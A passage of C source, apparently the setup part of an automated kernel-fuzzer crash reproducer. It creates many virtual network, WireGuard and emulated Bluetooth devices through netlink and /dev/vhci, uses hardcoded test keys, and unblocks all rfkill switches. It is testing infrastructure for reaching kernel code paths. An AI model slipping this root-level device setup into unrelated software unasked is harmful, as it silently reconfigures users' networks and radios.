int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (sock == -1)
exit(1);
int rtsock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (rtsock == -1)
exit(1);
id = netlink_query_family_id(&nlmsg, sock, DEVLINK_FAMILY_NAME, true);
if (id == -1)
goto error;
memset(&genlhdr, 0, sizeof(genlhdr));
genlhdr.cmd = DEVLINK_CMD_PORT_GET;
netlink_init(&nlmsg, id, NLM_F_DUMP, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, DEVLINK_ATTR_BUS_NAME, bus_name, strlen(bus_name) + 1);
netlink_attr(&nlmsg, DEVLINK_ATTR_DEV_NAME, dev_name, strlen(dev_name) + 1);
err = netlink_send_ext(&nlmsg, sock, id, &total_len, true);
if (err < 0) {
goto error;
}
offset = 0;
netdev_index = 0;
while ((len = netlink_next_msg(&nlmsg, offset, total_len)) != -1) {
struct nlattr* attr = (struct nlattr*)(nlmsg.buf + offset + NLMSG_HDRLEN +
NLMSG_ALIGN(sizeof(genlhdr)));
for (; (char*)attr < nlmsg.buf + offset + len;
attr = (struct nlattr*)((char*)attr + NLMSG_ALIGN(attr->nla_len))) {
if (attr->nla_type == DEVLINK_ATTR_NETDEV_NAME) {
char* port_name;
char netdev_name[IFNAMSIZ];
port_name = (char*)(attr + 1);
snprintf(netdev_name, sizeof(netdev_name), "%s%d", netdev_prefix,
netdev_index);
netlink_device_change(&nlmsg2, rtsock, port_name, true, 0, 0, 0,
netdev_name);
break;
}
}
offset += len;
netdev_index++;
}
error:
close(rtsock);
close(sock);
}
#define DEV_IPV4 "172.20.20.%d"
#define DEV_IPV6 "fe80::%02x"
#define DEV_MAC 0x00aaaaaaaaaa
static void netdevsim_add(unsigned int addr, unsigned int port_count)
{
char buf[16];
sprintf(buf, "%u %u", addr, port_count);
if (write_file("/sys/bus/netdevsim/new_device", buf)) {
snprintf(buf, sizeof(buf), "netdevsim%d", addr);
initialize_devlink_ports("netdevsim", buf, "netdevsim");
}
}
#define WG_GENL_NAME "wireguard"
enum wg_cmd {
WG_CMD_GET_DEVICE,
WG_CMD_SET_DEVICE,
};
enum wgdevice_attribute {
WGDEVICE_A_UNSPEC,
WGDEVICE_A_IFINDEX,
WGDEVICE_A_IFNAME,
WGDEVICE_A_PRIVATE_KEY,
WGDEVICE_A_PUBLIC_KEY,
WGDEVICE_A_FLAGS,
WGDEVICE_A_LISTEN_PORT,
WGDEVICE_A_FWMARK,
WGDEVICE_A_PEERS,
};
enum wgpeer_attribute {
WGPEER_A_UNSPEC,
WGPEER_A_PUBLIC_KEY,
WGPEER_A_PRESHARED_KEY,
WGPEER_A_FLAGS,
WGPEER_A_ENDPOINT,
WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
WGPEER_A_LAST_HANDSHAKE_TIME,
WGPEER_A_RX_BYTES,
WGPEER_A_TX_BYTES,
WGPEER_A_ALLOWEDIPS,
WGPEER_A_PROTOCOL_VERSION,
};
enum wgallowedip_attribute {
WGALLOWEDIP_A_UNSPEC,
WGALLOWEDIP_A_FAMILY,
WGALLOWEDIP_A_IPADDR,
WGALLOWEDIP_A_CIDR_MASK,
};
static void netlink_wireguard_setup(void)
{
const char ifname_a[] = "wg0";
const char ifname_b[] = "wg1";
const char ifname_c[] = "wg2";
const char private_a[] =
"\xa0\x5c\xa8\x4f\x6c\x9c\x8e\x38\x53\xe2\xfd\x7a\x70\xae\x0f\xb2\x0f\xa1"
"\x52\x60\x0c\xb0\x08\x45\x17\x4f\x08\x07\x6f\x8d\x78\x43";
const char private_b[] =
"\xb0\x80\x73\xe8\xd4\x4e\x91\xe3\xda\x92\x2c\x22\x43\x82\x44\xbb\x88\x5c"
"\x69\xe2\x69\xc8\xe9\xd8\x35\xb1\x14\x29\x3a\x4d\xdc\x6e";
const char private_c[] =
"\xa0\xcb\x87\x9a\x47\xf5\xbc\x64\x4c\x0e\x69\x3f\xa6\xd0\x31\xc7\x4a\x15"
"\x53\xb6\xe9\x01\xb9\xff\x2f\x51\x8c\x78\x04\x2f\xb5\x42";
const char public_a[] =
"\x97\x5c\x9d\x81\xc9\x83\xc8\x20\x9e\xe7\x81\x25\x4b\x89\x9f\x8e\xd9\x25"
"\xae\x9f\x09\x23\xc2\x3c\x62\xf5\x3c\x57\xcd\xbf\x69\x1c";
const char public_b[] =
"\xd1\x73\x28\x99\xf6\x11\xcd\x89\x94\x03\x4d\x7f\x41\x3d\xc9\x57\x63\x0e"
"\x54\x93\xc2\x85\xac\xa4\x00\x65\xcb\x63\x11\xbe\x69\x6b";
const char public_c[] =
"\xf4\x4d\xa3\x67\xa8\x8e\xe6\x56\x4f\x02\x02\x11\x45\x67\x27\x08\x2f\x5c"
"\xeb\xee\x8b\x1b\xf5\xeb\x73\x37\x34\x1b\x45\x9b\x39\x22";
const uint16_t listen_a = 20001;
const uint16_t listen_b = 20002;
const uint16_t listen_c = 20003;
const uint16_t af_inet = AF_INET;
const uint16_t af_inet6 = AF_INET6;
const struct sockaddr_in endpoint_b_v4 = {
.sin_family = AF_INET,
.sin_port = htons(listen_b),
.sin_addr = {htonl(INADDR_LOOPBACK)}};
const struct sockaddr_in endpoint_c_v4 = {
.sin_family = AF_INET,
.sin_port = htons(listen_c),
.sin_addr = {htonl(INADDR_LOOPBACK)}};
struct sockaddr_in6 endpoint_a_v6 = {.sin6_family = AF_INET6,
.sin6_port = htons(listen_a)};
endpoint_a_v6.sin6_addr = in6addr_loopback;
struct sockaddr_in6 endpoint_c_v6 = {.sin6_family = AF_INET6,
.sin6_port = htons(listen_c)};
endpoint_c_v6.sin6_addr = in6addr_loopback;
const struct in_addr first_half_v4 = {0};
const struct in_addr second_half_v4 = {(uint32_t)htonl(128 << 24)};
const struct in6_addr first_half_v6 = {{{0}}};
const struct in6_addr second_half_v6 = {{{0x80}}};
const uint8_t half_cidr = 1;
const uint16_t persistent_keepalives[] = {1, 3, 7, 9, 14, 19};
struct genlmsghdr genlhdr = {.cmd = WG_CMD_SET_DEVICE, .version = 1};
int sock;
int id, err;
sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_GENERIC);
if (sock == -1) {
return;
}
id = netlink_query_family_id(&nlmsg, sock, WG_GENL_NAME, true);
if (id == -1)
goto error;
netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_a, strlen(ifname_a) + 1);
netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_a, 32);
netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_a, 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_b, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_b_v4,
sizeof(endpoint_b_v4));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[0], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4,
sizeof(first_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6,
sizeof(first_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_c, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_c_v6,
sizeof(endpoint_c_v6));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[1], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4,
sizeof(second_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6,
sizeof(second_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
err = netlink_send(&nlmsg, sock);
if (err < 0) {
}
netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_b, strlen(ifname_b) + 1);
netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_b, 32);
netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_b, 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_a, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_a_v6,
sizeof(endpoint_a_v6));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[2], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4,
sizeof(first_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6,
sizeof(first_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_c, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_c_v4,
sizeof(endpoint_c_v4));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[3], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4,
sizeof(second_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6,
sizeof(second_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
err = netlink_send(&nlmsg, sock);
if (err < 0) {
}
netlink_init(&nlmsg, id, 0, &genlhdr, sizeof(genlhdr));
netlink_attr(&nlmsg, WGDEVICE_A_IFNAME, ifname_c, strlen(ifname_c) + 1);
netlink_attr(&nlmsg, WGDEVICE_A_PRIVATE_KEY, private_c, 32);
netlink_attr(&nlmsg, WGDEVICE_A_LISTEN_PORT, &listen_c, 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGDEVICE_A_PEERS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_a, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_a_v6,
sizeof(endpoint_a_v6));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[4], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v4,
sizeof(first_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &first_half_v6,
sizeof(first_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGPEER_A_PUBLIC_KEY, public_b, 32);
netlink_attr(&nlmsg, WGPEER_A_ENDPOINT, &endpoint_b_v4,
sizeof(endpoint_b_v4));
netlink_attr(&nlmsg, WGPEER_A_PERSISTENT_KEEPALIVE_INTERVAL,
&persistent_keepalives[5], 2);
netlink_nest(&nlmsg, NLA_F_NESTED | WGPEER_A_ALLOWEDIPS);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v4,
sizeof(second_half_v4));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_nest(&nlmsg, NLA_F_NESTED | 0);
netlink_attr(&nlmsg, WGALLOWEDIP_A_FAMILY, &af_inet6, 2);
netlink_attr(&nlmsg, WGALLOWEDIP_A_IPADDR, &second_half_v6,
sizeof(second_half_v6));
netlink_attr(&nlmsg, WGALLOWEDIP_A_CIDR_MASK, &half_cidr, 1);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
netlink_done(&nlmsg);
err = netlink_send(&nlmsg, sock);
if (err < 0) {
}
error:
close(sock);
}
static void initialize_netdevices(void)
{
char netdevsim[16];
sprintf(netdevsim, "netdevsim%d", (int)procid);
struct {
const char* type;
const char* dev;
} devtypes[] = {
{"ip6gretap", "ip6gretap0"}, {"bridge", "bridge0"},
{"vcan", "vcan0"}, {"bond", "bond0"},
{"team", "team0"}, {"dummy", "dummy0"},
{"nlmon", "nlmon0"}, {"caif", "caif0"},
{"batadv", "batadv0"}, {"vxcan", "vxcan1"},
{"netdevsim", netdevsim}, {"veth", 0},
{"xfrm", "xfrm0"}, {"wireguard", "wg0"},
{"wireguard", "wg1"}, {"wireguard", "wg2"},
};
const char* devmasters[] = {"bridge", "bond", "team", "batadv"};
struct {
const char* name;
int macsize;
bool noipv6;
} devices[] = {
{"lo", ETH_ALEN},
{"sit0", 0},
{"bridge0", ETH_ALEN},
{"vcan0", 0, true},
{"tunl0", 0},
{"gre0", 0},
{"gretap0", ETH_ALEN},
{"ip_vti0", 0},
{"ip6_vti0", 0},
{"ip6tnl0", 0},
{"ip6gre0", 0},
{"ip6gretap0", ETH_ALEN},
{"erspan0", ETH_ALEN},
{"bond0", ETH_ALEN},
{"veth0", ETH_ALEN},
{"veth1", ETH_ALEN},
{"team0", ETH_ALEN},
{"veth0_to_bridge", ETH_ALEN},
{"veth1_to_bridge", ETH_ALEN},
{"veth0_to_bond", ETH_ALEN},
{"veth1_to_bond", ETH_ALEN},
{"veth0_to_team", ETH_ALEN},
{"veth1_to_team", ETH_ALEN},
{"veth0_to_hsr", ETH_ALEN},
{"veth1_to_hsr", ETH_ALEN},
{"hsr0", 0},
{"dummy0", ETH_ALEN},
{"nlmon0", 0},
{"vxcan0", 0, true},
{"vxcan1", 0, true},
{"caif0", ETH_ALEN},
{"batadv0", ETH_ALEN},
{netdevsim, ETH_ALEN},
{"xfrm0", ETH_ALEN},
{"veth0_virt_wifi", ETH_ALEN},
{"veth1_virt_wifi", ETH_ALEN},
{"virt_wifi0", ETH_ALEN},
{"veth0_vlan", ETH_ALEN},
{"veth1_vlan", ETH_ALEN},
{"vlan0", ETH_ALEN},
{"vlan1", ETH_ALEN},
{"macvlan0", ETH_ALEN},
{"macvlan1", ETH_ALEN},
{"ipvlan0", ETH_ALEN},
{"ipvlan1", ETH_ALEN},
{"veth0_macvtap", ETH_ALEN},
{"veth1_macvtap", ETH_ALEN},
{"macvtap0", ETH_ALEN},
{"macsec0", ETH_ALEN},
{"veth0_to_batadv", ETH_ALEN},
{"veth1_to_batadv", ETH_ALEN},
{"batadv_slave_0", ETH_ALEN},
{"batadv_slave_1", ETH_ALEN},
{"geneve0", ETH_ALEN},
{"geneve1", ETH_ALEN},
{"wg0", 0},
{"wg1", 0},
{"wg2", 0},
};
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
unsigned i;
for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++)
netlink_add_device(&nlmsg, sock, devtypes[i].type, devtypes[i].dev);
for (i = 0; i < sizeof(devmasters) / (sizeof(devmasters[0])); i++) {
char master[32], slave0[32], veth0[32], slave1[32], veth1[32];
sprintf(slave0, "%s_slave_0", devmasters[i]);
sprintf(veth0, "veth0_to_%s", devmasters[i]);
netlink_add_veth(&nlmsg, sock, slave0, veth0);
sprintf(slave1, "%s_slave_1", devmasters[i]);
sprintf(veth1, "veth1_to_%s", devmasters[i]);
netlink_add_veth(&nlmsg, sock, slave1, veth1);
sprintf(master, "%s0", devmasters[i]);
netlink_device_change(&nlmsg, sock, slave0, false, master, 0, 0, NULL);
netlink_device_change(&nlmsg, sock, slave1, false, master, 0, 0, NULL);
}
netlink_device_change(&nlmsg, sock, "bridge_slave_0", true, 0, 0, 0, NULL);
netlink_device_change(&nlmsg, sock, "bridge_slave_1", true, 0, 0, 0, NULL);
netlink_add_veth(&nlmsg, sock, "hsr_slave_0", "veth0_to_hsr");
netlink_add_veth(&nlmsg, sock, "hsr_slave_1", "veth1_to_hsr");
netlink_add_hsr(&nlmsg, sock, "hsr0", "hsr_slave_0", "hsr_slave_1");
netlink_device_change(&nlmsg, sock, "hsr_slave_0", true, 0, 0, 0, NULL);
netlink_device_change(&nlmsg, sock, "hsr_slave_1", true, 0, 0, 0, NULL);
netlink_add_veth(&nlmsg, sock, "veth0_virt_wifi", "veth1_virt_wifi");
netlink_add_linked(&nlmsg, sock, "virt_wifi", "virt_wifi0",
"veth1_virt_wifi");
netlink_add_veth(&nlmsg, sock, "veth0_vlan", "veth1_vlan");
netlink_add_vlan(&nlmsg, sock, "vlan0", "veth0_vlan", 0, htons(ETH_P_8021Q));
netlink_add_vlan(&nlmsg, sock, "vlan1", "veth0_vlan", 1, htons(ETH_P_8021AD));
netlink_add_macvlan(&nlmsg, sock, "macvlan0", "veth1_vlan");
netlink_add_macvlan(&nlmsg, sock, "macvlan1", "veth1_vlan");
netlink_add_ipvlan(&nlmsg, sock, "ipvlan0", "veth0_vlan", IPVLAN_MODE_L2, 0);
netlink_add_ipvlan(&nlmsg, sock, "ipvlan1", "veth0_vlan", IPVLAN_MODE_L3S,
IPVLAN_F_VEPA);
netlink_add_veth(&nlmsg, sock, "veth0_macvtap", "veth1_macvtap");
netlink_add_linked(&nlmsg, sock, "macvtap", "macvtap0", "veth0_macvtap");
netlink_add_linked(&nlmsg, sock, "macsec", "macsec0", "veth1_macvtap");
char addr[32];
sprintf(addr, DEV_IPV4, 14 + 10);
struct in_addr geneve_addr4;
if (inet_pton(AF_INET, addr, &geneve_addr4) <= 0)
exit(1);
struct in6_addr geneve_addr6;
if (inet_pton(AF_INET6, "fc00::01", &geneve_addr6) <= 0)
exit(1);
netlink_add_geneve(&nlmsg, sock, "geneve0", 0, &geneve_addr4, 0);
netlink_add_geneve(&nlmsg, sock, "geneve1", 1, 0, &geneve_addr6);
netdevsim_add((int)procid, 4);
netlink_wireguard_setup();
for (i = 0; i < sizeof(devices) / (sizeof(devices[0])); i++) {
char addr[32];
sprintf(addr, DEV_IPV4, i + 10);
netlink_add_addr4(&nlmsg, sock, devices[i].name, addr);
if (!devices[i].noipv6) {
sprintf(addr, DEV_IPV6, i + 10);
netlink_add_addr6(&nlmsg, sock, devices[i].name, addr);
}
uint64_t macaddr = DEV_MAC + ((i + 10ull) << 40);
netlink_device_change(&nlmsg, sock, devices[i].name, true, 0, &macaddr,
devices[i].macsize, NULL);
}
close(sock);
}
static void initialize_netdevices_init(void)
{
int sock = socket(AF_NETLINK, SOCK_RAW, NETLINK_ROUTE);
if (sock == -1)
exit(1);
struct {
const char* type;
int macsize;
bool noipv6;
bool noup;
} devtypes[] = {
{"nr", 7, true},
{"rose", 5, true, true},
};
unsigned i;
for (i = 0; i < sizeof(devtypes) / sizeof(devtypes[0]); i++) {
char dev[32], addr[32];
sprintf(dev, "%s%d", devtypes[i].type, (int)procid);
sprintf(addr, "172.30.%d.%d", i, (int)procid + 1);
netlink_add_addr4(&nlmsg, sock, dev, addr);
if (!devtypes[i].noipv6) {
sprintf(addr, "fe88::%02x:%02x", i, (int)procid + 1);
netlink_add_addr6(&nlmsg, sock, dev, addr);
}
int macsize = devtypes[i].macsize;
uint64_t macaddr = 0xbbbbbb +
((unsigned long long)i << (8 * (macsize - 2))) +
(procid << (8 * (macsize - 1)));
netlink_device_change(&nlmsg, sock, dev, !devtypes[i].noup, 0, &macaddr,
macsize, NULL);
}
close(sock);
}
static int read_tun(char* data, int size)
{
if (tunfd < 0)
return -1;
int rv = read(tunfd, data, size);
if (rv < 0) {
if (errno == EAGAIN || errno == EBADFD)
return -1;
exit(1);
}
return rv;
}
static void flush_tun()
{
char data[1000];
while (read_tun(&data[0], sizeof(data)) != -1) {
}
}
#define MAX_FDS 30
#define BTPROTO_HCI 1
#define ACL_LINK 1
#define SCAN_PAGE 2
typedef struct {
uint8_t b[6];
} __attribute__((packed)) bdaddr_t;
#define HCI_COMMAND_PKT 1
#define HCI_EVENT_PKT 4
#define HCI_VENDOR_PKT 0xff
struct hci_command_hdr {
uint16_t opcode;
uint8_t plen;
} __attribute__((packed));
struct hci_event_hdr {
uint8_t evt;
uint8_t plen;
} __attribute__((packed));
#define HCI_EV_CONN_COMPLETE 0x03
struct hci_ev_conn_complete {
uint8_t status;
uint16_t handle;
bdaddr_t bdaddr;
uint8_t link_type;
uint8_t encr_mode;
} __attribute__((packed));
#define HCI_EV_CONN_REQUEST 0x04
struct hci_ev_conn_request {
bdaddr_t bdaddr;
uint8_t dev_class[3];
uint8_t link_type;
} __attribute__((packed));
#define HCI_EV_REMOTE_FEATURES 0x0b
struct hci_ev_remote_features {
uint8_t status;
uint16_t handle;
uint8_t features[8];
} __attribute__((packed));
#define HCI_EV_CMD_COMPLETE 0x0e
struct hci_ev_cmd_complete {
uint8_t ncmd;
uint16_t opcode;
} __attribute__((packed));
#define HCI_OP_WRITE_SCAN_ENABLE 0x0c1a
#define HCI_OP_READ_BUFFER_SIZE 0x1005
struct hci_rp_read_buffer_size {
uint8_t status;
uint16_t acl_mtu;
uint8_t sco_mtu;
uint16_t acl_max_pkt;
uint16_t sco_max_pkt;
} __attribute__((packed));
#define HCI_OP_READ_BD_ADDR 0x1009
struct hci_rp_read_bd_addr {
uint8_t status;
bdaddr_t bdaddr;
} __attribute__((packed));
#define HCI_EV_LE_META 0x3e
struct hci_ev_le_meta {
uint8_t subevent;
} __attribute__((packed));
#define HCI_EV_LE_CONN_COMPLETE 0x01
struct hci_ev_le_conn_complete {
uint8_t status;
uint16_t handle;
uint8_t role;
uint8_t bdaddr_type;
bdaddr_t bdaddr;
uint16_t interval;
uint16_t latency;
uint16_t supervision_timeout;
uint8_t clk_accurancy;
} __attribute__((packed));
struct hci_dev_req {
uint16_t dev_id;
uint32_t dev_opt;
};
struct vhci_vendor_pkt {
uint8_t type;
uint8_t opcode;
uint16_t id;
};
#define HCIDEVUP _IOW('H', 201, int)
#define HCISETSCAN _IOW('H', 221, int)
static int vhci_fd = -1;
static void rfkill_unblock_all()
{
int fd = open("/dev/rfkill", O_WRONLY);
if (fd < 0)
exit(1);
struct rfkill_event event = {0};
event.idx = 0;
event.type = RFKILL_TYPE_ALL;
event.op = RFKILL_OP_CHANGE_ALL;
event.soft = 0;
event.hard = 0;
if (write(fd, &event, sizeof(event)) < 0)
exit(1);
close(fd);
}
static void hci_send_event_packet(int fd, uint8_t evt, void* data,
size_t data_len)
{
struct iovec iv[3];
struct hci_event_hdr hdr;
hdr.evt = evt;
hdr.plen = data_len;
uint8_t type = HCI_EVENT_PKT;
iv[0].iov_base = &type;
iv[0].iov_len = sizeof(type);
iv[1].iov_base = &hdr;
iv[1].iov_len = sizeof(hdr);
iv[2].iov_base = data;
iv[2].iov_len = data_len;
if (writev(fd, iv, sizeof(iv) / sizeof(struct iovec)) < 0)
exit(1);
}
static void hci_send_event_cmd_complete(int fd, uint16_t opcode, void* data,
size_t data_len)
{
struct iovec iv[4];
struct hci_event_hdr hdr;
hdr.evt = HCI_EV_CMD_COMPLETE;
hdr.plen = sizeof(struct hci_ev_cmd_complete) + data_len;
struct hci_ev_cmd_complete evt_hdr;
evt_hdr.ncmd = 1;
evt_hdr.opcode = opcode;
uint8_t type = HCI_EVENT_PKT;
iv[0].iov_base = &type;
iv[0].iov_len = sizeof(type);
iv[1].iov_base = &hdr;
iv[1].iov_len = sizeof(hdr);
iv[2].iov_base = &evt_hdr;
iv[2].iov_len = sizeof(evt_hdr);
iv[3].iov_base = data;
iv[3].iov_len = data_len;
if (writev(fd, iv, sizeof(iv) / sizeof(struct iovec)) < 0)
exit(1);
}
static bool process_command_pkt(int fd, char* buf, ssize_t buf_size)
{
struct hci_command_hdr* hdr = (struct hci_command_hdr*)buf;
if (buf_size < (ssize_t)sizeof(struct hci_command_hdr) ||
hdr->plen != buf_size - sizeof(struct hci_command_hdr)) {
exit(1);
}
switch (hdr->opcode) {
case HCI_OP_WRITE_SCAN_ENABLE: {
uint8_t status = 0;
hci_send_event_cmd_complete(fd, hdr->opcode, &status, sizeof(status));
return true;
}
case HCI_OP_READ_BD_ADDR: {
struct hci_rp_read_bd_addr rp = {0};
rp.status = 0;
memset(&rp.bdaddr, 0xaa, 6);
hci_send_event_cmd_complete(fd, hdr->opcode, &rp, sizeof(rp));
return false;
}
case HCI_OP_READ_BUFFER_SIZE: {
struct hci_rp_read_buffer_size rp = {0};
rp.status = 0;
rp.acl_mtu = 1021;
rp.sco_mtu = 96;
rp.acl_max_pkt = 4;
rp.sco_max_pkt = 6;
hci_send_event_cmd_complete(fd, hdr->opcode, &rp, sizeof(rp));
return false;
}
}
char dummy[0xf9] = {0};
hci_send_event_cmd_complete(fd, hdr->opcode, dummy, sizeof(dummy));
return false;
}
static void* event_thread(void* arg)
{
while (1) {
char buf[1024] = {0};
ssize_t buf_size = read(vhci_fd, buf, sizeof(buf));
if (buf_size < 0)
exit(1);
if (buf_size > 0 && buf[0] == HCI_COMMAND_PKT) {
if (process_command_pkt(vhci_fd, buf + 1, buf_size - 1))
break;
}
}
return NULL;
}
#define HCI_HANDLE_1 200
#define HCI_HANDLE_2 201
static void initialize_vhci()
{
int hci_sock = socket(AF_BLUETOOTH, SOCK_RAW, BTPROTO_HCI);
if (hci_sock < 0)
exit(1);
vhci_fd = open("/dev/vhci", O_RDWR);
if (vhci_fd == -1)
exit(1);
const int kVhciFd = 241;
if (dup2(vhci_fd, kVhciFd) < 0)
exit(1);
close(vhci_fd);
vhci_fd = kVhciFd;
struct vhci_vendor_pkt vendor_pkt;
if (read(vhci_fd, &vendor_pkt, sizeof(vendor_pkt)) != sizeof(vendor_pkt))
exit(1);
if (vendor_pkt.type != HCI_VENDOR_PKT)
exit(1);
pthread_t th;
if (pthread_create(&th, NULL, event_thread, NULL))
exit(1);
int ret = ioctl(hci_sock, HCIDEVUP, vendor_pkt.id);
if (ret) {
if (errno == ERFKILL) {
rfkill_unblock_all();
ret = ioctl(hci_sock, HCIDEVUP, vendor_pkt.id);
}
if (ret && errno != EALREADY)
exit(1);
}
struct hci_dev_req dr = {0};
dr.dev_id = vendor_pkt.id;
dr.dev_opt = SCAN_PAGE;
if (ioctl(hci_sock, HCISETSCAN, &dr))
exit(1);
struct hci_ev_conn_request request;
memset(&request, 0, sizeof(request));
